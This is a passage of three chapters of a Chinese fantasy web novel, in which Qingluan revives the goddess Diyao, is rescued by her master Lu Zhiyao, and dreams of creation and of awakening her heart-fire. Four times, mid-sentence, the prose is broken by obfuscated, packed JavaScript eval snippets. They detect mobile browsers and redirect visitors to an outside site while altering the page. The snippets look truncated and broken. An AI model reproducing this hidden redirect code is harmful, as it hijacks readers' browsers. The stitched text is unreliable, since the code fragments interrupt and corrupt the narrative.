“后来我们才知道,原来天君在秘籍失窃后便下了一个咒,从此这本秘籍唯有天族可以修炼,其余妄图修习秘籍的人都会受到诅咒,修为尽毁,魂飞魄散。” 听起来的确像是天君做得出来的事,青鸾在心中冷笑。 她不再说话,垂首细细观察帝媱,掌心一翻唤出心火,吩咐它去检查帝媱情况。 心火自她的掌心跃出,瞬间将水晶棺包裹。 这是青鸾发现她可以凭借意识与心火进行沟通后,第一次尝试让它脱离自己掌控,独自去完成一件事情。 方才靠近帝媱时她体内的心火就有所感应,虽然帝媱陨落已久,但心火察觉到她身上似乎仍旧残留有一抹生机。 若当真如此,帝媱便算不上是真正地陨落。只要生机尚存,不管多么微弱,她都不算是陨落,而只是灵魂陷入沉睡。 唤醒陷入沉睡的灵魂可比复活一个陨落已久的神女简单多了。 好在事实果如青鸾所料,心火包裹着神棺探查一番后,回到青鸾掌心,主动连接她的神识,告知她方才感应到的那一抹生机的确存在,就残留于帝媱的心脏间。 青鸾连忙上前,再次释放出一抹心火之力,这回却是让它直接钻入了帝媱心脏。 成渊在一旁看得眉头紧皱,他不知道青鸾到底在做什么,却又生怕影响到帝媱,并不敢出声询问。 却见青鸾扬唇一笑,方才还有些凝重的神情在此刻变得轻松。 她回首对成渊道:“我确定了,帝媱并未陨落。” 成渊也疾步上前,不可置信地望向棺中的帝媱:“你说什么?” 他自是万分惊喜,声音里却也有许多疑惑:“可是当年太华之战阿媱明明受到了致命一击,之后我将她带回合虚,也确定她生机已绝,这才开始尝试各种复活她的办法。” 越说他的语气越是自责:“若早知道她尚未陨落,也许根本就不用耽搁到今日才……” “你无需自责,残留在她体内的那一抹生机本就十分微弱,而且那抹生机并非来源于她本身,你探查不到也属正常。”青鸾对成渊道:“帝媱的心脏早在太华之战前就受过重创,帝宣为了救她,曾在她的心脏间种下一个生阵。” 青鸾原本也在疑惑,帝媱分明气息已绝,为何体内还有生机,直到以心火探知到帝媱心脏间的生阵,她才明白过来其中关窍。 “帝媱的心脏曾经被魔气侵袭,原本她会心脏枯竭而亡,但帝宣种在她心间的生阵源源不断地为她提供着生机,如今她体内那一抹生机也是自尚在运转的生阵而来。” 成渊怔住了:“也就是说阿媱确实气息已绝,但她体内的生阵尚在运转。她如今虽有生机,那一抹生机却不属于她?” “可以这么理解……”青鸾蹙眉思索:“这一抹生机来源于生阵,但生阵种在帝媱的心脏间,早已成为她身体的一部分。只是因为帝媱气息已绝,所以这个生阵也不能发挥出全部的力量。” 青鸾凝视着帝媱沉吟了半晌,忽然想到什么,探手自乾坤袋中取出瑾瑜当初赠给她的三生水。 “此乃传自白石老人的三生水,可护人魂魄,催人生机,是稀世罕见之宝。我可以尝试利用心火和三生水彻底唤醒生阵,再将生阵释放出的磅礴生机与帝媱真正融合,最后以太虚锢灵鉴魂凝太阴,固她魂魄。” “想来如此便万无一失了。” 说着青鸾再次燃起心火,火焰将三生水卷至空中,两者交替旋转,宛如一幅冰与火交织而成的太极图。 成渊问她:“需要我做些什么?” 青鸾面对冰棺闭目盘膝而坐:“你在一旁为我护法便好,无论是心火还是三生水,所释放出的力量都太过强大,若是中途被人打断,我与帝媱都有遭到反噬的风险。” 成渊颔首,当即在周遭布下法阵。 如此过了一天一夜,帝媱体内的生阵终于将三生水完全吸收,如青鸾所言那般重新迸发出磅礴生机。 虽然帝媱尚未醒转,但她体内的生机绵绵不绝,不再如之前那般衰弱。便连成渊都能以神力感知,那些生机正蔓延至帝媱全身,为她重塑肉身,唤醒沉睡的生魂。 青鸾便在这时取出太虚锢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344341|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵鉴,向八角铜盘中心的冰魄玉注入灵力,在强大灵力的催动下,冰魄玉瞬间散发出强烈的冰蓝色光芒。 成渊注视着眼前这一幕,不由松了口气。 他相信青鸾的判断,也相信她能帮他复活阿媱,如今他需要做的便是为她们护法,等待帝媱醒来。 合虚本就是先神之地,轻易不会有人闯入,青鸾让成渊护法,不过是以防万一而已。 一切都顺利地进行着。 帝媱体内的生阵源源不绝地释放着生机,太虚锢灵鉴一遍又一遍地修复着帝媱魂魄,在此期间青鸾一直用心火维持着几股强大力量之间的平衡。 这时候她无比庆幸自己之前做出的先取心火之源再来复活帝媱的决定。 她体内的心火是在取得心火之源后才发生了质的变化,若非有心火平衡着几大神器,只怕它们早已将帝媱撕得粉碎。 终于,三日之后,青鸾睁眼长叹了一口气:“成了!” 成渊在一旁闭目调息,听见青鸾的声音后他立马站了起来奔向帝媱。 变故却在此时发生。 就在成渊即将行至水晶棺前时,青鸾忽然呕出一口鲜血,抬手示意成渊不要继续靠近。 成渊心头一紧:“怎么了?” 青鸾抹了一把嘴角血迹,却又在下一秒吐出更多血来。 “帝媱体内的生阵在三生水的作用下变得过于强大,如今它正在源源不断吸取我的生机和力量。”青鸾的声音因脱力而有些颤抖:“生阵虽然强大,但它在几股力量的作用下极不稳定,随时都有崩溃的危险。” “我不能中断施法,也不能强行抽离,否则生阵一定会崩塌,到时我们便是前功尽弃。” 成渊思索道:“既然你不能中断也无法抽离,那能否以外力相助,待生阵稳固,你再趁机收手?” 青鸾犹豫了一下,然后点了点头:“眼下也没有其他办法,你姑且一试。” 成渊当即出手,尝试以神力稳固帝媱体内生阵,却没想到太虚锢灵鉴极其排斥外力的闯入,两股力量互不相让,激得青鸾体内灵力翻涌。 若非她及时以心火压制体内变得躁动无比的灵力,只怕当场就会遭受反噬。 成渊见状将神力收回,不敢再轻易出手。 青鸾仍在被生阵吸取着力量,若再这样僵持下去,她恐怕会力竭而亡,帝媱也未必能够醒来。 可若是她强行收手,帝媱体内的生阵极有可能崩溃,到时候再想复活帝媱,无异于天方夜谭。 唯一的办法只有如方才成渊所言,以外力介入稳固帝媱体内生阵,青鸾再趁机收回灵力。 但万万没有想到,太虚锢灵鉴的力量竟如此强大,哪怕是成渊的后神之力也无法介入。 此刻摆在两人面前的几乎是一个无解的死局。 成渊心急如焚,见到青鸾的脸色越来越苍白,情急之下他忽然道:“既然以我一人之力无法撼动,那再加上一人说不定就可以抵抗太虚锢灵鉴的排斥之力。” “我这就传音于帝骁,让他即刻赶来!” 165. 万国传 青鸾听闻此言,抬头望了成渊一眼。 这一眼的含义有些复杂,成渊不解其意,于是疑惑地回望向她。 可惜此时青鸾已经虚弱到无法开口说话,她努力压下喉间的血腥气,双手止不住地颤抖。 此刻的她连压制体内混乱的灵力都无比艰难。 成渊尝试向青鸾输送灵力,想要助她一臂之力,却还是以失败告终。 好在没过多久,始终飘荡在山海间的长风突然停歇,一直萦绕在合虚周围的淡金色雾气却在此时无风自动,成渊心中一喜,知道这是帝骁来了。 “他竟来得如此之快。”成渊飞身而起,以指尖鲜血为引,让那些金色雾气散开,为匆匆赶来的帝骁让出一条路来。 青鸾就这样猝不及防地再一次见到了他。 老实说自从上次在龙渊之狱解开共生咒并且碾碎帝骁半颗心脏后,她以为他们二人应当就此决裂,这辈子都不会再见。 怎么也没有想到,这么快他们就再次相见。 帝骁的伤势显然还没有恢复,他的脸色甚至比青鸾和帝媱还要苍白。 青鸾心情复杂地别过头去,不愿与他对视。 帝骁却是在见到青鸾的第一眼就皱紧了眉,如从前那般轻声唤她名字。 成渊在一旁看得着急:“你怎么又把自己弄一身伤?还伤得这么重?” 他对于身负重伤的帝骁能否与自己合力稳固帝媱体内生阵深表怀疑。 帝骁早在收到成渊千里传音的时候便知晓此地发生了何事,他没有回复成渊,而是直接出手,想要立即将青鸾从阵中救出。 他的动作已经够快了,却没想到另一股力量来得更快,先他一步抵达青鸾身侧。 合虚在那股力量到来的一瞬间由白天变为黑夜。 夜色降临之际,星子的光无声垂落在青鸾四周。 青鸾体内躁动的灵力在星光的环绕下逐渐平息,与此同时帝媱心间的生阵也在星光笼罩下变得稳固。 路之遥随手挥散金雾,掌心翻覆间撕裂虚空,碎银般的星河自虚空涌出,把万千星尘凝为光雾,将面无血色的青鸾轻轻托起。 刹那间他便将青鸾从不断汲取她力量的生阵中救出,整座合虚都泛起星光的涟漪,然后光尘炸开,在夜幕下烙印出转瞬即逝的星图。 那星图虽然转眼就消散不见,但它在显现的一瞬间已将疗愈的力量烙入青鸾魂魄。 青鸾顿时感到无比困倦,她疲惫地眯了眯眼,转首望向踏着星光朝她奔来的路之遥。 星光如河流淌,青鸾在星河中下坠,路之遥伸出双臂牢牢接住了她。 她蜷缩在他怀里,抬手攥住他胸前衣襟:“你总算来了,刚才我感觉我好像要死了……” 路之遥眼中满是忧色,声音里却有掩不住的怒意:“你知不知道方才有多危险?你体内的生机险些被生阵吸干,已经虚弱到了连自己的灵力都无法压制的地步。若是此时遭受太虚锢灵鉴的反噬,你很有可能魂飞魄散……当真是胡闹!” 方才转瞬即逝的星河图此刻正疗愈着青鸾的伤势,她感觉有一股温和的力量在自己体内游走,帮她重新梳理因灵力失控而变得混乱的经脉,同时还为她安抚着躁动不安的心火。 身体里互相冲撞的几股力量终于平息下来,她感到一种久违的放松,就好像尚未来到这个世界时栖息在昆仑山巅上的冰莲中那般平静。 躺在路之遥怀里,她忍不住想闭上眼睛:“我好困啊……” 路之遥紧了紧环抱着她的手,轻声对她道:“你太累了,好好睡一觉吧,我就在这里守着你。” 青鸾在路之遥怀中沉沉睡去,她将脑袋埋进了他的臂弯里,双手却还紧紧攥着他的衣襟不放。 便在青鸾陷入沉睡的同时,一缕死气在她眉心若隐若现。 路之遥心中一沉,抱着她便向帝媱所在的上古神棺走去。 水晶棺在他靠近时自动将棺盖打开,路之遥只垂首扫了帝媱一眼,便让她整个人离开水晶棺,悬浮在了空中。 成渊当即上前接住帝媱:“路之遥你做什么?” 路之遥没有理会他,俯下身轻轻地将青鸾放入棺中,他没有合上棺盖,而是抬手令星图再现,以星图流转散发出的光芒为盖,让它们轻柔地笼罩在青鸾身上。 帝骁也在此时上前,注意到了浮现于青鸾眉心的死气。 好在那一缕死气很快在上古神棺以及星河图的压制下散去,重新蛰伏回了青鸾体内。 路之遥这才回首对成渊道:“帝媱心脏间的生阵已经稳固,太虚锢灵鉴也已唤醒了她沉睡的魂魄。不过帝媱沉睡百年,体内必有浊气,合虚海域最深处有一朵混沌青莲,你可用它净化她体内浊气。” 成渊听得一头雾水。 他在合虚长大,压根不知道海域最深处有什么混沌青莲。 不待他开口询问,路之遥随手扔给他一纸契约:“凭此契约可解开封印,封印解除后青莲自会现世,你且去吧。” 成渊连忙抬手接住,他知路之遥有通天之能,因此虽然从未听说过那混沌青莲,但对路之遥所言倒是深信不疑,接过那纸契约后他抱着帝媱便往海域深处而去。 等到成渊离开后帝骁才开口道:“想是鸾儿方才灵力失控,心火也变得躁动,所以才无法压制体内那一缕死气。” 他问路之遥:“你既然是她的师尊,是否知晓她体内为何会有死气?” 路之遥没有回复他的问题,而是反问他:“你能看出她体内有死气?” “你此番是从青丘来吧?”帝骁望了路之遥一眼,回答得倒也坦诚:“天君曾命我前往青丘与魔族始祖之息做一个交易,我也是在那时才知这世上还有一种可吞噬万物的力量,那便是比始祖之息还要可怕的死气。” “只是那时我对死气的认知还只停留在天君的描述上,他只告诉我,唯一可与死气抗衡的便是传说中的万物母气,除此之外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353836|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世间没有任何一种力量可以与之抗衡,包括世人口中可破万法的心火。” 路之遥挑了挑眉:“所以天君从一开始就不是真的打算帮始祖之息摆脱死气的控制?” 帝骁颔首:“他知道自己根本无力与死气抗衡,更不可能兑现承诺将始祖之息从死气中救出,他们之间的合作从一开始就是一场骗局。” “天君急于从始祖之息处得到提炼人心欲念的方法,始祖之息则急着想要从死气中挣脱出来,因此我既要向始祖之息展现能够助它逃离死气的可能,又要在天君的要求下钻研伏魔大阵。” 路之遥闻言陷入沉默。 原来大荒一事帝骁自始至终都是听命于天君,天君并非如他之前猜想那般被帝骁蒙在鼓里。 路之遥掀起眼皮扫了帝骁一眼,这一瞬间居然觉得他有些无辜。 帝骁继续道:“不过我从未真正靠近过始祖之息,也没有真正接触过死气,其实关于死气究竟是怎样一股力量,我并不十分清楚。” “直到那一日在小华山外,鸾儿被逼至绝境时好似突然换了一个人,环绕在她身侧的那些黑气将她变成了一个杀戮机器,我与成渊合力也抵挡不住她一击。” “当时我便猜测那些黑气就是天君所说的死气,从那之后我便开始四处搜寻与死气有关的典籍。” “只是我寻遍了四海八荒,明确记载有死气二字的古籍不过寥寥几本,且它们所记载的也无非是传说中的死气到底有多么强大,世间能与它抗衡的只有更加罕见的万物母气,这些都与天君所言一般无二。” 最后他回到刚开始的话题:“死气究竟由何而来?如此强大却又诡异的力量为何会出现在鸾儿体内?” 路之遥一边听帝骁说着,一边略有些诧异地打量着他,他倒难得有如此坦诚的时候。 “死气是来自域外的力量,而所谓的域外,并不是指存在于四海八荒之外的领域,而是超脱于生死轮回之外的地方。”路之遥也坦诚告知:“我们在无数时间线中轮回,但其实在这无数的轮回之外尚有一方天地,或者说,那才是被母神创造出来的真正的世界。” “不知道你能否接受这个现实,我们在累世轮回中所生活的每一世都不过是一个名为轮回之境的法器所虚构出来的梦幻泡影而已。” 帝骁不可置信地重复了一遍:“我们所处之地只是一个法器虚构出来的梦幻泡影?” 不光是帝骁,恐怕任谁也难以接受这样的事实。 倘若一切皆为虚妄,那么他活此一世,费尽心机去争去抢的这一切又还有何意义? 他有些艰难地道:“你与鸾儿皆来自域外,你们是被人困在了那名为轮回之境的法器里?” “那么我们呢?我们也是被困在法器之中的域外之人,还是……” “还是与你所说的无数世轮回里每一个世界一样,也是被法器虚构出来的梦幻泡影?” 路之遥抬眼望他:“我不知道。” 166. 万国传 帝骁没有从路之遥那里得到他想要的答案。 青鸾却在沉睡的梦境中获悉了真相的碎片。 她分明正在沉睡,意识却无比清醒,她仿佛陷入了一个清醒的梦境里,这个梦境比现实还要真切。 她再次听见了在东海地宫中燃烧心火时自意识深处传来的古神呓语,不过此刻那道声音不再飘渺遥远,而是近在咫尺,仿佛说话之人就在眼前。 她顺着那道声音回溯至自己识海最深处,然后猝不及防在古神的呓语中看见了世界诞生的过程。 她看见了生命诞生前最初的虚无,看见从虚无中凭空出现的千万道金色丝线。没有人告诉她那是什么,但在看见它们的一瞬间她便想起来了。 她知道那就是创造世间万物的母气。 母气游弋如同金龙,所过之处洒下一片星辰,星辰再凝为山脉,星光又蜿蜒为河。它一刻不停地向前,琥珀色光芒坠落大地,生出参天建木,苍青色星尘聚为游鱼,涌入无尽星海。 五彩的霞光如襁褓般包裹着初生的大陆,每一片大陆都是活物,它们正在襁褓中轻轻地呼吸着。 青鸾震撼地注视着面前这一幕,仰头正好撞进一双亘古永恒的眼—— 光晕凝成的人形正悬坐在蜿蜒的时光长河中央,她的轮廓浸着柔光,垂落的目光比笼罩在她身侧的光芒还要温柔。 她向青鸾伸出手。 指尖漾开的涟漪仿佛能漫过无尽的洪荒。 青鸾仿佛看见银河从她的腕间坠落,看见自己的倒影正在光芒中消融,看见眼前这位神灵眼睫掀起的微风中,有无数个她在滚烫的母气里重生。 翻涌的光潮中浮现出正在生长的尘世,神灵自始至终都在慈爱地注视着她所创造的众生。 最后,她看见记忆中的自己垂首向母神跪拜,右膝触地时脊骨如剑锋笔直:“从此我忠诚于您,我将为您而战,成为您掌中永不熄灭的火种。” 这似乎是比创世更古老的契约,它的力量至今仍在青鸾灵魂深处震荡。 青鸾朝记忆中的自己伸出手,却在这时被迫抽离这段回忆。 再回过神来时,她嗅见浓烈的血腥气。 金色的丝线与新生的世界都消失不见,她的眼前又只剩下了虚无的黑暗。 而此刻那黑暗正在止不住地震颤。 腐朽的甲胄摩擦声汇成海啸般的巨响,直到看见亡灵们用腐骨凝成的刀锋劈开了那粘稠的黑暗,青鸾这才明白出现在她眼前的这一幕是一场绝望的逃亡。 亡灵战士数量庞大,它们汇聚成散发着腐烂气息的黑色海洋,眼眶中燃烧着的绿色磷火远远看去竟像是连绵不绝的星河。 青鸾认出了被庞大的亡灵军团穷追不舍的自己。 她独自在无边的黑暗中展开漫长的奔逃,在此之前她一定突破过一次又一次的重围,新伤与旧伤叠加在一起让她变成了一个血人。 她持剑踉踉跄跄撞上一座漂流在宇宙间的神像基座,身后的亡灵军团终于追上她,密密麻麻将她包围起来。 神像底座碎裂尖锐的纹路再次撕开了她后背的那道伤口,她回头去望,只见这座通天彻地的神像似乎没有面孔,只有无数手臂在虚空里结着代表湮灭的印。 那些散发着腐烂气息的亡灵们涌来了。 这一刻青鸾甚至觉得自己与画面中正在被追杀的“她”产生了共感。 她感到铁锈味灌满了喉咙,眼前早已是一片朦胧的血色。 此刻已至绝境,她已逃无可逃。 那便不逃了吧。 画面中的她突然咧开嘴笑,她扶着残破的神像底座喘了口气,然后直起身子,握紧了手中的剑。 她起身直面如黑色潮水般涌向她的亡灵军团,直视着它们头盔下五官凹陷涌动着黑色浆水的脸,然后决绝地迎着刀山撞进敌阵。 黑色潮水瞬间吞没了她,她在死亡的彼岸沉浮。不知击退了多少波亡灵后,她终于力竭跪倒在地。 手中的剑在她彻底脱力后朝虚空中的深渊滑落,而她的脊背仍旧挺得笔直。 亡灵们在此时停下了攻击,它们站在原地将她包围起来,却迟迟没有展开下一步的行动。 似乎是不敢相信拼命反抗了这么久的人就这样断绝了生息。 眼前是一幅绝对静止的画面,无风也无天光,只有散发着死亡气息的一片虚无,以及身后神像传来的一声似有若无的叹息。 不知过了多久,在确定她终于失去了所有的反抗之力后,为首的亡灵开始向前挪动,一步一步靠近她。 心脏炸开的剧痛于此时毫无预兆地降临,青鸾抬手抚上胸口,画面中的她也艰难而缓慢地抬起了头。 第一簇火苗从她的指尖窜出,追在最前面的亡灵在一瞬之间蒸发,连灰烬都没有留下。 这突如其来的变故并没有让亡灵军团止住步伐,它们反而更加快速地冲了过来,似乎是想要将她指尖那簇小小的火苗扑灭。 火焰便在这时开始反扑。 它安静地燃烧着,那些曾经吞噬光明的黑暗此刻都成为了心火的养料,整片虚空都被火焰的光芒照亮,如一块纯净的琉璃纤毫毕现。 烈焰顺着亡灵的眼眶钻进去,撕开它们的腐肉燃烧着,灰烬溃散了又重聚,聚拢的瞬间又立刻被火焰蒸发。 所有声音都被抽成真空,火海蚕食黑暗发出无声的嘶鸣。成百上千的腐尸保持着冲锋的姿势,它们举起的刀山剑林正与自己的身体一起在火海中蒸发。 最后,燃烧到极致的火焰终于慢慢转为透明,方才追杀她的亡灵军团已经彻底与虚无融为一体,她垂首茫然地注视着自己掌心,看见一缕火苗正顺着掌纹游走。 画面之外的青鸾也看得怔然。 过了好一会儿她才反应过来,原来眼前这一幕这便是她第一次觉醒心火。 原来心火是在这般走投无路的绝境下被逼出来的。 这一刻她突然有所了悟,真正意识到在她眼前一幕接着一幕展开的画面就是自己在进入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377220|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轮回之境前的记忆。 从沉睡中醒来前,她在梦境里突破记忆的封印窥见了那名为轮回之境的法器。 那法器似是由亿万道浮光所组成,它们将宇宙揉碎了又重组,层层叠叠的时空碎片在浮光的凝结下保持着稳定,碎片间还有星星点点的微尘,它们在虚空中沉沉浮浮,无数重叠的倒影在其中明灭。 那些倒影便是法器所虚构出来的三千婆娑世界的剪影。 她恍惚听见风声裹着人间的笑语自鸿蒙深处涌来,仿佛看见楼台倒影在云海里沉浮,瞧见画舫残灯随浮尘明灭,所有的虚相都在幻梦中摇曳生辉。 青鸾意识到法器中每一道浮光里都蜷缩着一世未醒的红尘,包括正在合虚陷入沉睡的她自己。 浮光里无数影子在宇宙的碎片间蜿蜒成河,河中流淌的不是水,而是千千万万世湮灭了又重启的人生。幻境中的大千世界如此真实又如此复杂,堕入其中的人要如何才能堪破虚妄离开轮回之境? 青鸾开始努力回想,她当初究竟为何主动踏入如此宏伟壮观却又令人骇然的法器之中。 小蓝没有说完的那番话到底是什么? 她凝视着那些不断变得晦暗又重新亮起的碎片,注视着如微尘般湮灭了又重启的尘世。 如此过了许久许久,她蓦地抬起手,伸向那些明明灭灭的时空碎片。 在这千千万万尘世中,只有一部分时空碎片里存在着她的意识分身。小蓝曾说,她必须让她所在的那些世界全部同时存在,它们不能如其它碎片般明灭重生,唯有如此…… 唯有如此,才能如何? 青鸾突然感觉头痛欲裂。 明灭的碎片在浮光中犹如一幅千变万化的星图,那星图的形状仿佛永远不会重复。 盯着它看得久了,青鸾隐约觉得其间好似隐藏着奥秘的符文。 是了,天下法器都需要以力驱动,无论那力量来自外界还是来自法器本身。 倘若这轮回之境是一个需以自身所蕴含的符文驱动的法器,那么不断明灭变幻的星图看似毫无规则,其实很有可能正是催动轮回之境的关键。 不同的符号,代表了不同的规则,也会赋予法器不同的力量。 倘若她所在的每一世都同时存在,那么同时亮起的时空碎片便会形成一道独一无二的星图符文,难道这道符文能让轮回之境停下,或者放她离开法器? 就在她感觉自己终于触碰到了真相时,一股力量袭入梦境,将她从梦中抽离,迫使她睁开了眼回到现实。 醒来的一瞬间她恍惚觉得天与地都颠倒了,此刻所在的现实并非现实,方才梦中见到的一切也不是虚幻。 这令她惊惶万分,好在她无措地睁开眼时,首先看见的便是路之遥。 他一直守在她的身边,这让她感到心安。 路之遥见她醒了,俯身问她:“感觉如何?” 不待她回答,他继续对她道:“若还觉得累,可以再睡会儿,我就在这里守着你。” 167. 万国传 青鸾摇了摇头,撑着身子坐起,这才发现自己躺在上古神棺中。 “我怎么躺在这里?”她打量了一眼四周,见到此地唯余她与路之遥二人:“成渊和帝媱呢?他们去哪儿了?” “你在棺中沉睡了好几日,这一段时间成渊都要带帝媱去海域深处净化体内浊气。”路之遥的语气颇有些意味深长:“至于帝骁,他说他知道你不愿见他,所以在确定帝媱无碍后便直接回青要山了。” “知道我不愿见他于是就自己主动离开?”青鸾冷笑:“这倒不像是他的性子。” 路之遥移开目光:“你倒很了解他。” 青鸾沉默了一会儿,这话她实在不知道该怎么回,于是尝试转移话题:“你知道吗,我方才做了好长的一个梦。” 路之遥的语气听起来有点低沉,但还是很配合地问她:“跟我说说都梦见了什么?” “我梦见了我的心火是如何觉醒的。”青鸾抬起手,在指尖燃起一簇火苗:“它当时就像现在这样,分明只是小小的一簇火苗,但在瞬间暴涨成一片火瀑吞没了一支大军。” “那是一支亡灵大军。”青鸾思索着补充道:“我不记得自己为什么会被它们追杀,也不知道它们属于哪一方的势力。我只梦见了自己被它们逼到绝境的时候突然觉醒心火的那个场面,我从没有见过那样震撼的场面……” 路之遥重新将视线落到青鸾身上,他一直专注地注视着她,在听见她描述梦里第一次觉醒心火时震撼的场面时,他突然道:“那并非觉醒,而是创造。” 青鸾愣住:“什么?” “你是第一个觉醒心火的人,在你之前世上从未出现过心火这样的力量。”路之遥认真地道:“你创造了世间前所未有的力量,在你之后拥有心火的人是谓觉醒,而你是在创造。” “我在创造?”青鸾复述了一遍路之遥所说的话,不由回想起在梦中见到的神灵:“我也能创造么?” 她对路之遥道:“我还梦见了一位创世神,在梦里我亲眼看见她如何创造了一个又一个世界。每一处尘世、每一个天空、每一片土地……它们都是活物,都是母神的孩子……我不知道该怎么形容将它们与母神连接在一起的那些金色丝线,但我知道那些金色的光芒就是所有生命的源头。” “你见到的是万物母气。”路之遥似乎没想到青鸾能在梦里回忆起这样多的信息,他怔了一下,很快反应过来:“小蓝是不是告诉了你一些事情?譬如轮回之境?” 若非听到过与轮回之境有关的讯息,她绝不会在梦境里回忆起这么多的记忆残片。 她的潜意识深处一定一直在尝试冲破轮回之境对识海的封印。 青鸾听到路之遥提及轮回之境,不由好奇地问:“你怎么好像什么都知道?我知道的你都知道,我不知道的你还知道?” “因为我在青丘接触到了死气,那时候我也想起了一些事情。”既然青鸾已经知晓了他们身处轮回之境的真相,那么大概率小蓝也把青丘生阵中封印的其实是死气这件事情也告知了她,路之遥轻轻地叹了口气:“原本我不欲告知你此事,或者至少让你晚一些再知道。” “死气与你几乎是同一时间降临到这个世界,我早在那时便感知到了死气的存在,却不知它到底是什么,也不知它为何会突然出现。” 说到这里,他突然将话锋一转:“你可知道我为何在见到你的第一眼时便执意收你为徒?” 青鸾摇头。 在她作为凰女九聆居住于昆仑山中时,西王母倒是曾告诉她,因她诞生于昆仑圣物万古冰莲,且出生时天有异象,一看便知绝非凡胎,是修仙的好苗子,所以路之遥当即决定收她为关门弟子。 但青鸾心中清楚,路之遥收她为徒的原因绝不是这些。 或者说不仅仅是这些。 随路之遥修行的几百年间,他一直都待她极好,且他待她好的方式有别于帝骁在青要山中对她无微不至的照顾。 他自然也会体贴地照顾她,但也时常将她扔进各个小世界中磨砺,他会在不同的小世界设置不同的出关任务,若她完不成任务,他是当真舍得将她关在小世界中几十年也出不来的。 在青要山时帝骁会教她走路,教她吃饭,教她如何以人的形态生活,他亲历亲为教导着她生活的技能,却从不允许她踏上修行之路。而路之遥恰好与之相反,在她刚学会走路时他便教她如何锻炼体魄,在她筷子都还拿不稳时他便开始教她该如何持剑,在她还很小的时候他就已经让她接触修行。他一路为她保驾护航,守护着她在修行路上越走越远。 被帝骁剜去半颗心脏后再次化形的她宛若重生,如今拥有凰女九聆和小妖青鸾两世记忆的她再次审视曾经与路之遥一起在昆仑山上的生活,便更能体会到他待她的珍重。 而这般纯粹不掺一丝假意的好,路之遥从最开始坚持到了现在。 青鸾凝视着他:“其实我也很想知道是为什么。” “我出生于一个小镇上的寻常人家,在十四岁以前过着最普通的凡人生活。”路之遥将他的过往向青鸾娓娓道来,青鸾支着脑袋认真地听着。 即便在昆仑山中时,他也不曾对她说过自己从前的生活。 “十四岁那年在机缘巧合下我接触到了凡人所不能接触的世界,从此以后踏上了修行之路。只是那时我并不曾得到师父的指导,修行路上遇见的一切问题都是靠自己摸索解决,却没想到反而因此开创了前无古人的修行之法,仅过了六年便以肉身成圣,后来我也是凭借此法成为了帝师。” “也是从我正式踏上修行之路开始,几乎每天晚上我都会做同样的一个梦。” 路之遥注视着青鸾,漆黑的瞳仁中仿佛安静地燃烧着一团火,“我总是梦见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381142|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己溺于一片黑色的深海,无法呼吸,也不能视物。梦里的时间总是过得格外漫长,每次醒来我都感觉自己已经在梦里过了一世。” “我不知道这样的梦魇要持续多久,现实中的我修为突飞猛进,一日比一日强大,可梦中的我仿佛被永远禁锢在了那片深海。我感受不到体内流转的星辰之力,也无法施展那些本就属于自己的力量。” “直到有一日,一簇火苗在黑暗中亮起,它燃烧为熊熊烈焰撕裂了那片黑暗,也撕碎了将我禁锢在深海中的束缚。我第一次在那个梦里睁开了眼,看见了眼前的世界,也看清了那个点燃火焰的人。” 他往前探了探身子,离青鸾更近了点:“我看见火浪奔涌,看见如山如海的亡灵军团在一人面前崩裂坠落,看见百万道流火凝成铺天盖地的光瀑,还看见了火焰最炽烈的核心处那道人影轮廓。” “我知道这是梦,却又不仅仅是梦。从此以后我便开始寻找梦中的那道身影,可惜千年来上天入地遍寻不得。” “直到那日我亲至昆仑,将你从万古冰莲中取出,在见到你的第一眼时我便知道,你就是我一直在寻找的那个人。” 青鸾听明白了。 听明白之后她安静了好一会儿才问:“你方才描述的那个梦,应该就是我第一次觉醒心火的场景,可是我的梦境里并没有你的身影,你那时身在何处?” 路之遥摇头:“我不知道。” 青鸾诧异地望着他。 他继续道:“我也是方才听到你说起那个梦,这才联想起我从前做过的梦。我们同在轮回之境中,你就是无数次在我梦境里燃起心火的那个人。” 